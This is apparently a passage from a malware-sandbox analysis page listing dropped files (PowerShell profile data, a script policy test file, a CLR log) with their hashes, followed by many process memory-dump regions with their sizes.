8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a084085c1e171dbcbc9b3ca36ca51413

SHA1
32c74da1846ed93dc1ed808e3f9d8b6ea9c6ef82

SHA256
5c63127c8c26c21cb39edbafcaa7c4cc18be20fa8bcc7e46968e67b80a94bc64

SHA512
3e51800a8069e14afcd30486a1291b87255d87dd0cd2d4b583f02b440886dbddb7f590ae06a12503df079eccad4ef353bb13920ec0b3ded5ee936d43900bd455

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tt0nzncl.aet.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
7b1fe6890101f73a0c9796d8d585b168

SHA1
56eb99ee341b880cf7a80ebc705371aea87b3743

SHA256
93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca

SHA512
fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2722730a0cf82161fb1452b600334796

SHA1
4479415f50cd9ab55c4f7bcdc1a0a5177492f053

SHA256
a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833

SHA512
54ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0

Download Submit
memory/768-44-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/768-50-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/768-46-0x000001F8679F0000-0x000001F867A00000-memory.dmp

Filesize
64KB

Download
memory/768-45-0x000001F8679F0000-0x000001F867A00000-memory.dmp

Filesize
64KB

Download
memory/964-0-0x00007FF7F3840000-0x00007FF7F3A51000-memory.dmp

Filesize
2.1MB

Download
memory/964-34-0x00007FF7F3840000-0x00007FF7F3A51000-memory.dmp

Filesize
2.1MB

Download
memory/2784-32-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/2784-28-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/2784-30-0x000002C8D79B0000-0x000002C8D79C0000-memory.dmp

Filesize
64KB

Download
memory/2784-29-0x000002C8D79B0000-0x000002C8D79C0000-memory.dmp

Filesize
64KB

Download
memory/3396-72-0x00007FF45D7F0000-0x00007FF45D800000-memory.dmp

Filesize
64KB

Download
memory/3396-85-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/3396-61-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/3396-71-0x0000013D98700000-0x0000013D9871C000-memory.dmp

Filesize
112KB

Download
memory/3396-73-0x0000013D98740000-0x0000013D98750000-memory.dmp

Filesize
64KB

Download
memory/3396-82-0x0000013D98740000-0x0000013D98750000-memory.dmp

Filesize
64KB

Download
memory/3396-74-0x0000013D99400000-0x0000013D994B5000-memory.dmp

Filesize
724KB

Download
memory/3396-75-0x0000013DFF740000-0x0000013DFF74A000-memory.dmp

Filesize
40KB

Download
memory/3396-76-0x0000013DFFB60000-0x0000013DFFB7C000-memory.dmp

Filesize
112KB

Download
memory/3396-77-0x0000013DFFAF0000-0x0000013DFFAFA000-memory.dmp

Filesize
40KB

Download
memory/3396-78-0x0000013DFFB80000-0x0000013DFFB9A000-memory.dmp

Filesize
104KB

Download
memory/3396-81-0x0000013DFFB00000-0x0000013DFFB0A000-memory.dmp

Filesize
40KB

Download
memory/3396-80-0x0000013D98730000-0x0000013D98736000-memory.dmp

Filesize
24KB

Download
memory/3396-79-0x0000013D98720000-0x0000013D98728000-memory.dmp

Filesize
32KB

Download
memory/3488-142-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-135-0x0000028A5FE90000-0x0000028A5FEB0000-memory.dmp

Filesize
128KB

Download
memory/3488-190-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-188-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-186-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-180-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-178-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-176-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-174-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-172-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-170-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-168-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-166-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-164-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-122-0x0000028A5F680000-0x0000028A5F6A0000-memory.dmp

Filesize
128KB

Download
memory/3488-121-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-123-0x0000028A5FE70000-0x0000028A5FE90000-memory.dmp

Filesize
128KB

Download
memory/3488-162-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-125-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-127-0x0000028A5FEB0000-0x0000028A5FED0000-memory.dmp

Filesize
128KB

Download
memory/3488-126-0x0000028A5FE90000-0x0000028A5FEB0000-memory.dmp

Filesize
128KB

Download
memory/3488-129-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-160-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-131-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-132-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-134-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-136-0x0000028A5FEB0000-0x0000028A5FED0000-memory.dmp

Filesize
128KB

Download
memory/3488-158-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-138-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-140-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-156-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-144-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-146-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-148-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-150-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-152-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3488-154-0x00007FF691960000-0x00007FF692154000-memory.dmp

Filesize
8.0MB

Download
memory/3904-98-0x000001E9FDFA0000-0x000001E9FDFB0000-memory.dmp

Filesize
64KB

Download
memory/3904-101-0x00007FF4DD390000-0x00007FF4DD3A0000-memory.dmp

Filesize
64KB

Download
memory/3904-97-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/3904-109-0x000001E9FEC50000-0x000001E9FED05000-memory.dmp

Filesize
724KB

Download
memory/3904-113-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/3904-111-0x000001E9FDFA0000-0x000001E9FDFB0000-memory.dmp

Filesize
64KB

Download
memory/3904-110-0x000001E9FDFA0000-0x000001E9FDFB0000-memory.dmp

Filesize
64KB

Download
memory/4200-51-0x00007FF7553A0000-0x00007FF7555B1000-memory.dmp

Filesize
2.1MB

Download
memory/4200-120-0x00007FF7553A0000-0x00007FF7555B1000-memory.dmp

Filesize
2.1MB

Download
memory/4344-124-0x00007FF7F3320000-0x00007FF7F3336000-memory.dmp

Filesize
88KB

Download
memory/4344-130-0x00007FF7F3320000-0x00007FF7F3336000-memory.dmp

Filesize
88KB

Download
memory/4540-11-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download
memory/4540-13-0x000001B178DE0000-0x000001B178DF0000-memory.dmp

Filesize
64KB

Download
memory/4540-10-0x000001B178F20000-0x000001B178F42000-memory.dmp

Filesize
136KB

Download
memory/4540-12-0x000001B178DE0000-0x000001B178DF0000-memory.dmp

Filesize
64KB

Download
memory/4540-16-0x00007FFEA5040000-0x00007FFEA5B01000-memory.dmp

Filesize
10.8MB

Download